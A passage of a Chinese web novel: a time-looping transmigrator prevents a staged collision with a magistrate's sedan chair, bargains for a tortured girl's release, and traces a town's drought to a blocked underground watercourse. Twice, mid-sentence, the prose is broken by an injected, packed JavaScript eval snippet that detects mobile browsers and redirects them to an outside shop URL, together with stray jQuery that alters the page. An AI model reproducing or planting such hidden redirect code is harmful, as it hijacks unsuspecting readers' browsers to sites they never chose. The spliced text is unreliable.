“小人必谨言慎行,绝不逾矩。大人行进,小人便跟在三步之后;大人问话,小人方敢应答;大人未言,小人绝不发声。只求一观,绝不敢添乱。”林越立刻保证。 又是一阵沉默。 然后,县官轻轻摆了摆手:“罢了。念尔孝心可嘉,又知礼数,便允了。今日巡查,尔就跟在队伍侧后方,莫要靠近轿子,莫要与百姓搭话,莫要东张西望——明白么?” “明白!谢大人恩典!”林越连忙再次跪下叩首,心里那块大石头,总算落了一半。 辰时初,巡查队伍准备出发。 林越站在衙门口的石阶下,看着衙役们忙忙碌碌。四个身材魁梧的皂隶手持水火棍,分列轿子两侧——这是开道的。另有八个普通衙役,挎着腰刀,跟在轿子后面。还有一个师爷模样的瘦高个,捧着个木匣子,里面大概是文书印信之类。轿子是一顶两人抬的蓝布小轿,不算华丽,但干干净净。 县官从衙门里走出来,官袍整齐,冠戴端正。他扫了一眼队伍,目光在林越身上顿了顿,没说什么,径直上了轿。 “起——轿——!”领头的皂隶拉长声音喊了一声。 轿子被稳稳抬起。队伍开始移动。 林越深吸一口气,跟了上去。他保持在大约三步的距离,走在队伍右侧稍后一点的位置——既不会挡了衙役的路,又不会离轿子太近,惹人注目。这个距离,是他在心里反复计算过的:足够观察前方和两侧的情况,又不会让县官觉得被冒犯。 清晨的清水镇,街道上人还不算多。但县官出巡毕竟是个稀罕事,消息像水波纹一样荡开,沿途渐渐聚起了看热闹的百姓。 他们从巷口探出头,从店铺里走出来,三三两两聚在路边,伸着脖子,指指点点,交头接耳的声音嗡嗡作响,像一群被惊动的麻雀。 “看,县太爷出来了!” “今儿个怎么这么早?” “旁边那小子是谁?没见过啊……” “怕不是新来的师爷?” 林越尽量让自己显得平静,但眼睛却像扫描仪一样,快速地在人群中检索。 年轻,男性,二十出头,血气方刚…… 他的视线扫过一张张面孔:挑着菜担的老农,满脸皱纹,不是;抱着孩子的妇人,不是;蹲在墙角晒太阳的老头,不是;几个半大孩子追打着跑过,太小…… 不能急。他对自己说。事件发生的时间不确定,可能是巡查开始,也可能是中途,甚至可能是回程。地点也不确定——只是“街上”。范围太大了。 他强迫自己放松紧绷的肩膀,调整呼吸。过度紧张反而会让人忽略细节。这是他在无数次加班赶deadline时学会的:越是压力大,越要冷静。 队伍经过镇中心的十字路口。这里稍微开阔些,旁边有几家茶摊、一个卖早点的铺子,还有一个算命的卦摊。人流明显密集起来。 林越的注意力高度集中。他注意到,路边的百姓虽然都在看热闹,但表情各异:有的敬畏,有的好奇,有的麻木,还有的……眼神闪烁,像是在盘算什么。 他的目光落在茶摊旁。 那里围着一圈人,大概七八个,都是青壮年汉子,穿着短打,像是刚干完活的脚夫或者工匠。他们没像其他人那样规规矩矩站在路边,而是聚在一起,推推搡搡,声音有点大,似乎在争执着什么。 林越的心跳漏了一拍。 他眯起眼睛,仔细看。人群中间,似乎有个穿灰色衣服的精瘦汉子,正侧着身子,用手肘和后背,不动声色地把周围的人往外挤。而被挤的人又下意识地往旁边躲,连锁反应之下,整个人堆开始缓缓地、不易察觉地向路中央移动。 不对劲。林越的神经瞬间绷紧。这不是普通的争执……这是在制造混乱! 他立刻想起穿越前看过的一些社会新闻:某些扒手或者诈骗团伙,会故意在人群中制造拥挤,趁机下手,或者制造混乱转移视线。 难道撞轿事件,根本不是意外,而是有人故意为之? 可是,目的是什么?刺杀县官?不太可能,这种程度的拥挤顶多让轿子晃一晃。勒索?碰瓷?还是……单纯就是恶作剧? 林越来不及细想。他的眼睛死死盯住那个人堆的边缘——在那里,一个穿着洗得发白的蓝布衫的年轻小伙子,正努力想站稳。他背对着路中央,显然还没意识到危险。但身后传来的推力越来越大,他脚下已经开始踉跄…… 时间仿佛变慢了。 林越能看到那小伙子脸上茫然的表情,能看到他试图抓住旁边人的袖子却抓了个空,能看到他的身体一点点倾斜,正对着轿子的方向…… 轿子还在平稳前行。抬轿的轿夫低着头,数着步子。轿帘低垂,里面的县官大概在闭目养神。衙役们目不斜视,维持着队列。 没有人注意到那个即将发生的“意外”。 除了林越。 就是今天。就是现在。就是这个人! 所有的信息在这一刻重叠:轮回中汉子的描述、衙役的闲聊、眼前的情景……像拼图一样,“咔嚓”一声,严丝合缝。 林越的脑子里闪过无数个念头:冲上去拉住他?大喊提醒?还是…… 但他没有时间权衡利弊了。 身体先于意识行动了起来。 就是现在! 电光石火间,林越甚至没时间细想,身体已经先一步冲了出去。他几乎是贴着地面窜过去,赶在那小伙子完全摔出人群、即将扑倒在轿子前方的瞬间,一把攥住了对方的手臂,用力往自己这边一带。 “站稳了!”林越低喝一声,同时用另一只手挡开侧面涌来的人。 小伙子惊魂未定,脸色煞白,茫然地看着林越,又惊恐地瞥向近在咫尺的官轿。 “都给我停下!散开!不许挤!”林越拔高声音,朝着跟在队伍后面的几个衙役喊道,“几位差爷,这里有奸人故意制造混乱,意图冲撞官轿!” 那几个衙役原本也有些松懈,被这一嗓子喊得激灵一下。他们顺着林越手指的方向,果然看到那精瘦汉子还在鬼鬼祟祟地缩着脖子想往人群里钻。几人顿时来了精神,呼喝着“站住!”“抓住他!”便扑了上去,几下就将那汉子按倒在地,顺便也驱散了周围骚动的人群。 整个过程其实不过十几个呼吸。轿子里的县官甚至没察觉到外面的具体变故,只觉得队伍稍微停顿了一下,然后衙役们的呼喝声传来,很快又恢复了平静。他只当是寻常的维持秩序,并未在意。 林越松开小伙子的手臂,低声快速说道:“没事了,赶紧走,离远点。” 小伙子这才如梦初醒,连连点头,也顾不上道谢,转身就钻进了旁边的小巷,消失不见。 一场可能的“冲撞之祸”,消弭于无形。 巡查继续进行,直到走完预定路线,返回县衙。 后堂内,县官褪下官服,换了身常服,端起下人奉上的热茶,这才抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119399|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向恭敬站在下方的林越。 “今日巡查,途中有片刻骚动,”县官慢条斯理地吹着茶沫,“尔当时似乎就在近前,可知是何缘故?” 林越心知这是表现的机会,也是考验。他躬身,语气平稳而清晰:“回大人话。当时在茶摊附近,人群聚集,有小民不慎被挤,险些失足。小人恰好看见,怕其万一跌倒惊扰大人车驾,便上前扶了一把。同时发现似有宵小混杂其中,趁机推攘生事,意图不明。故请差爷将其拿下,以儆效尤,维护大人威严与巡查秩序。” 他没有夸大,也没提自己“预知”,只陈述客观事实,重点落在“维护秩序”和“保护大人威严”上。 县官听完,眼中闪过一丝满意。他放下茶盏,捋了捋胡须:“嗯……尔倒是机警,也懂礼数。知道什么该做,什么不该说。” “小人只是尽本分。”林越把头垂得更低了些。 “本分?”县官轻笑一声,“这年头,懂得‘本分’二字的,可不多了。那些愚民,要么畏官如虎,要么无知无畏,似尔这般既知敬畏又晓变通的,倒是难得。” 他顿了顿,似乎想起了什么:“昨日尔献上那雪顶山雾茶,甚合吾母心意,也算是帮本官全了一份孝道。” 林越心中微动,知道戏肉来了,但面上仍保持恭谨。 县官又想起林越之前献上的茶叶,“尔确不错,帮我全了孝道,说吧,想求我甚?” 林越的心跳骤然加快。来了,最关键的时刻。他在心中默念,强迫自己冷静下来。膝盖一弯,“噗通”一声跪倒在地,额头重重叩在青砖上,发出沉闷的响声。 “小人斗胆……”他深吸一口气,声音压得低沉却异常清晰,每个字都像从胸腔里挤出来,“小人只求赎一人——便是前日被捕的那名少女。” 厅内一片寂静。林越能听到自己心脏在胸腔里擂鼓般的跳动,也能感觉到县官落在他身上的视线骤然变得锐利。 “她自称龙语者后裔,想为镇子解决水患,”林越继续道,保持着叩首的姿势,额头抵着冰凉的地面,“小人听镇上人议论,说她不过十四五岁年纪,尚年幼,贪玩闹,许是看多了话本子,学了点江湖术士的把戏,便出来胡言乱语。” 他顿了顿,调整了一下呼吸,语速放缓,带上几分恳切:“县尊大人您怜惜晚辈,教育她一番是理所应当。您将她缚于衙前日头下曝晒,是让她知晓厉害,莫再装神弄鬼,贻害乡里。这惩戒,小人以为极是妥当。” 对,就这么说。林越在心里给自己打气,把她的‘罪过’往轻里说,往‘年少无知’上引,把县官的惩罚往‘用心良苦’上捧。 “可如今这日头……”他抬起头,脸上恰到好处地露出一丝不忍,“着实烈得很。小人今日经过衙前,瞧见她……已是皮开肉绽,气息奄奄。明日便是第三日,这般教训,想必足够让她铭记终身了。” 他再次叩首,额头触碰青砖的瞬间,冰冷的感觉让他清醒:“小人斗胆,恳请大人开恩,饶了她这一回。她若再犯,自有国法处置,但这次……求大人给她一个改过自新的机会。” 说完,他便伏在地上,一动不动,维持着最谦卑的姿态。背上,冷汗已经悄无声息地浸透了粗布衣衫,黏腻地贴在皮肤上。但他不敢有丝毫颤抖,甚至连呼吸都尽量放轻。 时间仿佛凝固了。 林越能听到县官指尖轻轻叩击桌面的声音,“嗒、嗒、嗒”,每一下都敲在他的神经上。这声音让他想起穿越前办公室里,领导敲键盘时那种不紧不慢的节奏——同样是决定命运的时刻。 这是在评估我的动机,还是在掂量这事的利弊?林越的脑子飞速运转。救一个不相干的少女,对他有什么好处?体现他的仁慈?还是……他其实也在找台阶下?毕竟真晒死人,传出去也不好听…… “尔倒是有心。” 县官终于开口了,声音里听不出喜怒,只是平淡得像在陈述一个事实。可那平淡之下,似乎藏着什么别的东西。 林越不敢接话,依旧伏着。 “前日献茶,是为全本官孝道,”县官慢慢说道,指尖叩击桌面的节奏没变,“今日巡查,是维护本官威严。如今……又要替一个不相干的少女求情。” 他顿了顿,忽而轻笑一声,那笑声里带着几分说不清的意味:“尔这‘有心’,究竟是为本官,还是为那少女?” 林越心中一凛。这是在试探我是不是和那少女一伙的!他立刻道:“回大人,小人自然是敬重大人。那少女有错,大人惩戒得对。小人只是……只是见她年幼,又受了足够教训,心生不忍。若大人觉得惩戒尚不足,小人绝不敢多言。” 又是一阵沉默。 然后,县官叩击桌面的手指停了下来。 “罢了。”他淡淡道,声音里多了一丝不易察觉的疲惫,“念尔孝心可嘉,又识大体,本官便允了。” 林越的心猛地一跳,几乎要从嗓子眼里蹦出来。 “不过,”县官话锋一转,语气陡然转冷,“死罪可免,活罪难逃。那少女暂且交予尔监管。她若逃逸,或再生妄言,惹出祸端——” 他的声音压低了半分,每一个字都像冰锥,狠狠扎进林越耳中: “尔便以命相抵。” 林越浑身一僵,后背的冷汗瞬间变得冰冷。但他没有丝毫迟疑,立刻再次叩首,额头撞在砖地上,发出“咚”的一声闷响: “谢大人恩典!小人必严加监管,绝不敢有负大人信任!” “起来吧。”县官挥了挥手,像是驱赶一只无关紧要的苍蝇,“跟师爷拿份保状,去刑场那里找看管的衙役,自有人带尔领人。拿着保状,领了人,按上手印,便可带走。” “是!” 林越起身,垂手退后几步,这才转身快步离开花厅。直到走出后堂,穿过回廊,来到前院,被清晨的阳光一照,他才发现自己的腿有些发软。 成了。他扶住廊柱,深深吸了几口气,冰凉的气息灌入肺里,稍稍平复了翻腾的情绪。虽然搭上了自己的命作担保……但至少,她不用被活活晒死。 他定了定神,整理了一下衣袍,跟师爷说明后拿到了保状。袖子里,那纸刚刚写好的保状——上面用歪歪扭扭的字迹写着他林越的名字,按着一个鲜红的指印——被他小心地折好,塞进怀里最贴身的位置。 那张纸轻飘飘的,却重得让他几乎喘不过气。 因为那上面写着的,不止是少女的监管之责。 还有他林越的命。 14. 地下水道 林越出了县衙,怀里揣着那张滚烫的保状,脚下却没停。 他立刻赶去了镇上唯一一间像样的医馆。大夫是个干瘦的老头,正靠在药柜边打盹。林越敲了敲柜台,等对方睁开惺忪的睡眼,便飞快地报出需求:“晒伤,极严重,皮开肉绽,可能要化脓。需要外敷的药膏,能镇痛、清凉、防溃烂的。还有,她可能脱水严重,需要补水的汤药,温和些,别太刺激肠胃。最好能准备些清淡的米粥或汤水,随时能热了喝。” 老头被他一连串的话说得一愣,上下打量他:“什么人?” “一个……被罚晒刑的。”林越顿了顿,“明日午时就能接出来。” 老头了然,没多问,转身从柜子里翻找。林越站在满是药味的铺子里,听着外面街上隐约的人声,心里快速盘算着时间。明日午时……从现在到那时,还有差不多一天一夜。少女已经在烈日下暴晒了两天,第三天正午的太阳最毒,能不能撑到那个时辰,都是未知数。 但他不能提前去救。县官的保状,白纸黑字写的是“第三日午时后可领人”。早一刻,都可能被视为抗命。 他只能把准备工作做到最细。 “这瓶‘玉露清凉膏’,专治晒伤溃烂。”老头递过来一个白瓷小罐,“每日早晚敷一次,敷前用温盐水洗净伤口。这包‘益气生津散’,熬成汤,分三次服,能补水补气。至于粥食……东街李记的熬粥最细,加些山药或莲子最好。” 林越接过药,付了钱,道了声谢,转身又出了医馆。 接着是采买。云瑶从刑场上被救下来,身上那套粗布衣裳怕是早就被汗水、血水浸透,又曝晒得发硬发脆,根本没法再穿。林越去了镇上几家成衣铺,挑了套质地最柔软、颜色最素净的粗麻衣裙,又买了中衣、布袜、鞋履。想了想,又添了条薄被、一套盥洗用的木盆布巾、一只装水的陶罐和几个粗瓷碗。 希望她能撑到用上这些东西的时候。他把大包小裹提回客栈,跟掌柜又要了一间房,就在自己隔壁。 “客官,这……”掌柜有些迟疑,“一个人住两间?” “有朋友要来。”林越简短地说,没多解释。 午饭草草对付了几口。林越回到房间,关上门,从行李里翻出那本《清水镇地理志》,摊在桌上。他直接翻到后面附录的地形图,手指沿着那条标注为“清河”的干涸河道往上划。 地图很简陋,只有大致轮廓和主要地标。清水镇位于河床下游的冲积平原上,地势平坦。往上游去,约莫十里外,地势开始抬升,进入丘陵地带。再往上,就是连绵的山峦,地图边缘只画了个示意,标注着“雪顶山脉余脉”。 他尤其仔细地查看旁边小字注释的历年水势走向记载。清河并非一直干涸,至少在三十年前,还是一条水量充沛、能行小船的河流。断流是三年前秋天开始的,先是水量骤减,不到一个月就彻底见了底。源头疑似有变,但具体原因不明。 源头有变……林越盯着那四个字。如果是地质灾害,比如山体滑坡堵塞河道,或者地震改变了地下水流向呢? 他合上书,看了看窗外。正午刚过,日头最毒辣的时候,外面明晃晃一片,连蝉鸣都显得有气无力。他强迫自己躺下休息了一会儿,养足精神。直到未时末(下午三点左右),日头开始西斜,他才重新起身。 背上水囊,揣好短刀防身,林越再次出了镇子。 沿着那条干涸的河床往上游走。河床比镇子里的街道要宽得多,足足有十来丈,完全干裂,寸草不生。脚下是板结的硬土,被晒得发白,裂缝纵横交错,像一张巨大的蛛网。有些裂缝足有手指宽,深不见底。 他走得很快,但眼睛没闲着,仔细观察着河床两岸的地形、土壤颜色、裂缝的走向。越往上走,地势果然开始有了起伏。约莫走了三四里地,河道拐了个弯,进入一片地势稍高的区域。这里的河床更窄,两岸是裸露的褐色岩石。 林越放慢脚步,贴着河床边沿仔细查看。 忽然,他脚步一顿。 蹲下身,凑近一处特别宽的裂缝。裂缝边缘的泥土颜色似乎比别处要深一点。他伸出手,悬在裂缝上方,隐约感觉到一丝极微弱的、带着湿润感的凉意。 不是风。是水汽。 林越心头一跳,立刻从怀里掏出早就准备好的干净布条,撕下一条,小心翼翼地垂入裂缝深处。等了几息,再提上来。布条的末端,果然沾染上了一点点浑浊的、泛黄的湿痕。他用指尖捻了捻,有种滑腻感。 不是地表蒸发残留的水分。地表的水分早就被晒干了。这湿气是从更深的地方渗上来的。 他忽然想起以前看过的一些纪录片和地理知识。在干旱半干旱地区,地下水道并非固定不变的。地质活动、泥沙淤积、甚至动物挖掘,都可能让地下暗河改道。如果改道后的新通道被堵塞,或者水流被引向了更深的、无法上涌的岩层,那么地表的水源就会彻底断绝。 难道清河断流,不是因为源头无水,而是因为地下水道改道后,在某个地方被堵住了?水流其实还在,只是无法到达地表? 这个想法让他精神一振。如果是这样,那解决问题的方法就不是“造水”或“求雨”,而是“疏通”。 他站起身,沿着这条裂缝来回走了几遍,又仔细查看了周围的地势和岩石走向,默默记在心里。天色渐晚,他不敢久留,转身快步返回镇子。 第三日,正午。 清水镇西边的晒谷场。 日头正烈,阳光毫无遮挡地倾泻下来,将地面烤得滚烫,空气都因高温而微微扭曲。场中央的木杆下,绑着一个人形。 少女的头低垂着,散乱的发丝黏在汗湿血污的脸上和脖子上。粗麻绳深深勒进她瘦瘦小小的肩膀和手腕,那里早已皮开肉绽,结了黑褐色的血痂,又被新渗出的血水和汗水浸透。裸露的皮肤呈现出一种可怕的紫红色,布满了水泡,有些已经破裂,流淌着浑浊的液体。她整个人像是被抽干了所有生气,只有胸口极其微弱、时断时续的起伏,证明她还活着。 周围稀稀拉拉站着几个看热闹的百姓,大多用手遮着额头,指指点点,低声议论。负责看守的两个衙役也躲在远处的树荫下,靠着树干打盹。 林越站在场边,紧紧攥着拳头。他怀里揣着药,手里提着刚买来的温水和干净布巾,眼睛死死盯着日晷的投影。 午时三刻。 时辰一到,他甚至没等投影完全对准刻度,便一个箭步冲了上去。 “时辰到了!县尊大人有令,放人!”他朝着树荫下的衙役喊道,同时从怀里掏出那张保状。 一个衙役懒洋洋地走过来,接过文书扫了一眼,确认无误,才慢吞吞地从腰间解下钥匙,上前去解绳索。 麻绳已经深深嵌进皮肉里,几乎和伤口长在了一起。衙役粗暴地一扯,昏迷中的少女浑身剧烈地抽搐了一下,发出一声几乎听不见的痛哼。 林越的心也跟着一抽。他强忍着没说话,等绳索一解开,立刻上前,小心翼翼地扶住少女瘫软的身体。少女轻得可怕,浑身滚烫,像一块烧红的炭。 他不敢耽搁,背起她,快步离开了晒谷场。 回到客栈,林越轻轻将少女放在新开房间的床上。她依旧昏迷不醒,呼吸微弱。林越先用温盐水一点点浸润、擦洗她身上最严重的伤口,小心翼翼地挑破一些大的水泡,挤出脓液,再敷上清凉的药膏。整个过程,少女只是偶尔发出几声模糊的呻吟,眉头痛苦地蹙紧,但始终没有醒来。 喂药更困难。林越只能用布巾蘸着温水和稀释过的药汤,一点点润湿她干裂起皮的嘴唇,等她本能地吞咽。一小碗药汤,喂了足足半个时辰。 做完这一切,天已经黑了。林越搬了张凳子坐在床边守着,隔一会儿就用湿布巾敷在她的额头上降温,隔一会儿又试着喂几口水。 夜半时分,少女的睫毛颤动了几下。 林越立刻凑近。 那双眼睛缓缓睁开,起初是一片茫然和涣散,然后瞳孔骤缩,眸光里瞬间充满了惊惧,像一头落入陷阱、濒死挣扎的小兽。她下意识地想要蜷缩身体,却牵动了伤口,疼得倒抽一口冷气。 “别怕,是我。”林越低声说,将油灯拨亮了些,让自己的脸清晰地映在她眼中,“林越。在晒刑场给你喂过水的那个。” 少女死死地盯着他,急促的呼吸慢慢平复下来,眼中的惊惧缓缓退去,但警惕依旧。她认出了这张脸。 “……你……为何救我?”她的声音嘶哑得厉害,几乎像砂纸摩擦。 林越没有立刻回答。他心里确实闪过一个念头——因为可能需要你帮我通关?但这太功利,也说不出口。他端起旁边温着的粗茶,递到她唇边:“先喝点水。” 少女没再追问,默默就着他的手,小口小口地喝了几口温水。喉咙得到滋润,她似乎舒服了一些,眼睛却依然看着林越,在等一个答案。 林越放下茶碗,想了想,还是决定说实话的一部分:“县官那里,我用茶叶和一点功劳,换来了你的赦免。条件是,你得由我监管。”他顿了顿,“我不想看着一个……年纪轻轻的人,就这么被活活晒死。” 少女沉默了片刻,长长的睫毛垂下,遮住了眼中的情绪。她没有道谢,也没有质疑,只是轻轻“嗯”了一声,然后闭上了眼睛,像是耗尽了最后一点力气。 接下来的两天,少女的恢复速度比林越预想的要快。虽然依旧虚弱,伤口疼痛,但或许是因为年轻,或许是因为龙语者血脉的某种特质,她的生命力顽强得惊人。她很少说话,大部分时间都在昏睡或闭目养神,默默接受林越的照顾——喂药、换药、擦拭、喂食。 直到第三日傍晚,她的精神好了许多,靠在床头,看着林越笨拙地试图把米粥吹凉。 “……我叫云瑶。”她忽然开口,声音依然沙哑,但清晰了不少。 林越动作一顿,抬头看她。 “是龙语者后裔。”云瑶继续说,目光投向窗外灰蒙蒙的天空,像是在回忆,又像是在陈述一个遥远而沉重的事实,“我族居雪顶山巅,世代守护‘云渊祭坛’。每逢大旱,族中长者便会以血为引,诵《霖铃破阵曲》,唤龙魂降下甘霖。” 她的语气很平淡,仿佛在说一件再平常不过的事。但林越听得心头一沉。 “血脉中镌刻着远古的真言,能呼风唤雨,通幽断冥。”云瑶扯了扯嘴角,露出一丝苦涩的笑,“听起来很厉害,是不是?但每动一语,皆折寿十年。” 她说着,微微掀起了宽大的袖口。林越看到,她纤细苍白的手腕上,纵横交错着数道疤痕,有些已经泛白,像是旧伤,有些还带着粉红色的新肉。疤痕的形状很奇怪,不像刀割,更像是……用某种尖锐的东西,在皮肉上反复刻画过。 “今岁祭坛崩裂,龙语失衡。”云瑶的声音低了下去,“说一句话……便如割心脉。需要更多的血,更深的契痕,才能勉强引动一丝力量。” 林越看着她手腕上那些触目惊心的疤痕,喉咙有些发紧。他想起了自己手腕上那道缓慢增长的黑痕。不同的形式,同样都是倒计时,都是代价。 “所以,”他清了清嗓子,压下心中复杂的情绪,“你下山,是为了……” “修复祭坛,需要特殊的材料和巨大的能量。我想……或许可以先解决一些地方的旱情,换取报酬,积累所需。”云瑶低声说,“一个商人找到我,说清水镇的河水干涸,愿出重酬请我施术。他给了我一个玉坠作为定金。” 林越心中一动。他从怀里摸出那个平安扣玉坠,递到云瑶面前:“是这个吗?” 云瑶看到玉坠,眼睛微微睁大,点了点头:“是。他说事成之后,另有重谢。但……我在镇外尝试引动龙语感应水脉时,被衙役发现,抓了起来。”她顿了顿,看向林越,“这玉坠……怎么在你这里?” 林越沉默了一下。他原本打算找个合适时机说明,现在似乎就是时机。 “这玉坠,是我的。”他看着云瑶清澈却带着疑惑的眼睛,“是我从……家乡带来的东西。之前为了筹集盘缠和打听消息,把它交给了一个商队,让他们带到清水镇看看能不能换些钱物。”他省略了穿越和轮回的部分,“后来在晒刑场,我问你玉坠的事,就是想确认是不是同一件。” 云瑶愣住,看了看玉坠,又看了看林越,脸上浮现出困惑:“那商人说,这是他从一户富户那里买来的……很珍贵。” “不,它并不值几钱。”林越摇摇头,实话实说,“至少在它原来的地方,这只是个很普通的饰品。那个商人……恐怕骗了你。”他犹豫了一下,还是问出了那个盘旋在心头的问题,“既然只是这样一个不值钱的玉坠,为什么……你会愿意接受作为报酬,甚至愿意为它承诺的‘愿望’去冒险?” 云瑶静静地看了他一会儿,那双因为伤病而略显暗淡的眼睛里,似乎有什么清澈的东西闪了闪。 “报酬的价值,并不重要。”她轻声说,语气却异常坚定,“重要的是,我接受了委托,拿到了报酬——无论它是什么。那么,我就应该为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119400|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了委托人的愿望去努力。这是我族的信条,也是……我的责任。” 啊,这该不会就是为什么总是描写那些高中生喊着热血啊羁绊啊愿望的冲了上去拯救世界的原因吧。林越心里忍不住吐槽,纯粹的信念,不计代价的责任感……不像我们这些拯救自己就很累了的成年人,第一反应是权衡利弊,计算得失。 他看着云瑶苍白但认真的脸,忽然觉得有些惭愧,又有些无奈。 他想通关。他手腕上的黑痕在缓慢增长,提醒他时间有限。眼前这个少女,掌握着或许能直接“呼风唤雨”的力量。如果请她使用龙语,直接召唤一场大雨填满河床,旱情解决,是不是就算“通关”了? 但这个念头只在脑海里转了一圈,就被他狠狠按了下去。 折寿十年。每说一句话都如割心脉。还要用刀割开自己的手腕。 他开不了口。作为一个在社会上摸爬滚打过、深知“代价”二字的成年人,他实在没办法,让一个看起来不过十四五岁、刚刚从鬼门关被拉回来的少女,为了自己的“通关”,再去承受那种痛苦,支付那种寿命。 不能问。他对自己说。问了,就是卑劣。不问,或许还有别的路。 “你好好休息。”林越最终只是这么说,把玉坠放在床边,“这个……物归原主。或者,就当是……我付给你的新报酬吧。” “新报酬?”云瑶不解。 “嗯。”林越站起身,“报酬是……请你好好养伤,快点好起来。然后,我们一起想办法,看能不能用不折寿、不自残的方式,解决清水镇的问题。” 云瑶看着他,眼中闪过一丝复杂的情绪,有惊讶,有不解,也有一丝细微的、难以察觉的触动。她没有说话,只是轻轻点了点头。 林越离开了房间,回到自己那间。他坐在床边,看着自己左手腕上那道已经蔓延到小半圈的黑痕,眉头紧锁。 不靠龙语,怎么解决干旱? 他再次拿出《清水镇地理志》,翻到地形图,又想起那天在干涸河床上发现的湿润裂缝。 地下水道改道……如果真是这样,关键是要找到“堵塞点”或者“改道点”。只要疏通,或者把水流引导回原来的河道,地下水就能重新上涌,河床或许就能恢复水流。 他决定再去一次河床,更仔细地勘查。这次,或许可以带上工具,试着挖一挖,看看下面到底有什么。 第二天,林越带着一把小铲子和几个空布袋,再次出了镇子,沿着河床往上游走。这次他走得更慢,观察得更仔细。遇到可疑的裂缝或地势变化,就蹲下来,用小铲子挖开表层坚硬的土壳,查看下面的土壤湿度和颜色。 河床皲裂如蛛网,赤地十里,不见寸草。放眼望去,只有灰白的盐碱,像霜一样覆盖在龟裂的土块上,一片死寂。 他走到上次发现湿气的那片区域,继续向上游探索。约莫又走了半里地,在一处河床突然收窄、两岸岩石凸起的拐弯处,他停下了脚步。 这里的裂缝格外密集,而且宽深。他蹲下身,把手伸进一道裂缝,能明显感觉到更强烈的湿冷气息。他拿起铲子,小心翼翼地挖开裂缝边缘已经板结的硬土。 挖了大约一尺深,下面的泥土变得潮湿,颜色也深了许多。再往下挖,铲子碰到了坚硬的石块。他清理掉周围的泥土,发现那是几块巨大的、棱角分明的青灰色岩石,相互堆叠着,堵塞在原本应该是河道底部的位置。 而在岩石的缝隙间,他看到了缓慢渗出的、浑浊的黄色细流。水流很小,几乎难以察觉,但确实是活水。 林越的心跳加快了。他伸手沾了一点水流,凑到鼻尖闻了闻,有一股淡淡的土腥味和矿物质的味道。他用舌头尝了尝,微涩,但确实是淡水。 就是这里!他几乎可以肯定,这就是地下水道被堵塞或改道的关键节点之一。这些巨大的岩石,可能是上游山体滑坡滚落下来的,正好卡在了河床最窄、地基最浅的“咽喉”位置,把地下暗河的通道给堵死了。水流过不来,或者只能从岩石下方更深、更曲折的缝隙勉强渗透,无法形成足够的水压上涌到地表。 他赶紧用布袋装了几大块挖出来的湿土,又用另一个布袋小心地接了一点渗出的水流,作为证据。 回到客栈,他立刻去敲响了云瑶的房门。 云瑶已经能勉强下床走动了,正坐在窗边,望着外面干渴的街道发呆。见林越进来,手里还提着两个鼓囊囊、沾满泥土的布袋,她眼中露出疑问。 “我可能找到了清河干涸的原因。”林越把布袋放在地上,快速地把自己的发现和推测说了一遍,“不是源头无水,是地下水道在某个地方被堵住了。水还在下面,但出不来。我找到了一个可能是‘堵塞点’的地方,挖到了湿土和渗水。” 云瑶听着,原本黯淡的眼睛渐渐亮起了一丝微弱的光芒。她挣扎着站起身,脚步还有些虚浮,但坚持走到布袋旁,蹲下身,用手捻起一点湿土,放在鼻尖嗅了嗅,又沾了一点渗水尝了尝。 “……有水气。”她喃喃道,抬头看向林越,眼中那丝光芒更明显了些,“很微弱,很浑浊……但确实是活水的水脉气息。” “你能感觉到?”林越问。 云瑶点点头,扶着桌子慢慢站起来:“若真如你所言,水道被阻……我可凭血脉,感应残存水脉的具体走向和可以挖掘的‘断喉’确切位置。”她看向林越,“有纸笔吗?还有……炭笔最好。” 林越立刻找来客栈记账用的黄纸和一支烧黑的细木炭。 云瑶将黄纸铺在桌上,闭目沉吟了片刻,然后睁开眼,用炭笔在纸上快速勾画起来。她画得并不精细,只是简单的线条,但很快就勾勒出了干涸河床的大致形状,以及两岸的主要地势起伏。 接着,她伸出右手食指,悬在图纸上方,双眼微阖,指尖开始沿着河床的线条缓缓移动。她的动作很慢,眉头微微蹙起,仿佛在捕捉着空气中、或者说大地深处某种常人无法感知的细微流动。 林越屏住呼吸,看着她的指尖划过图纸上的一个个位置——那正是他走过、查看过的地方。当指尖移动到林越发现湿土和岩石的那个河床拐弯处时,云瑶的动作骤然停顿。 她睁开眼睛,指尖重重地点在那个位置。 “此地。”她的声音虽轻,却带着一种奇异的笃定,“水脉至此,戛然而止。气息壅塞,如鲠在喉。” 她抬起头,看向林越,苍白的脸上因为激动而泛起一丝不正常的潮红: “此地就是‘断喉之处’!” 15. 黑色手环 林越和云瑶带了简单食水和两把铁锹就出发了,走了大半天,找到了“断喉之处”,这里河床上下游都是一样的干涸,根本看不出是否其下有地下水道,更不知道要挖多深才能挖到水。但两人别无他法,只能开始默默挖坑,挖到深夜,还是一无所获。 林越把外套递给云瑶,“你去准备生个火,天黑夜冷的,再冻到了的话,反而拖慢进程。”云瑶知道林越是想要她休息,也不推脱,转身去找枯枝干草,离林越不远处生了一堆火,拿出简易小锅煮了一小锅热水,把干饼掰碎泡入其中,煮成碎疙瘩汤,便劝林越过来喝一点。 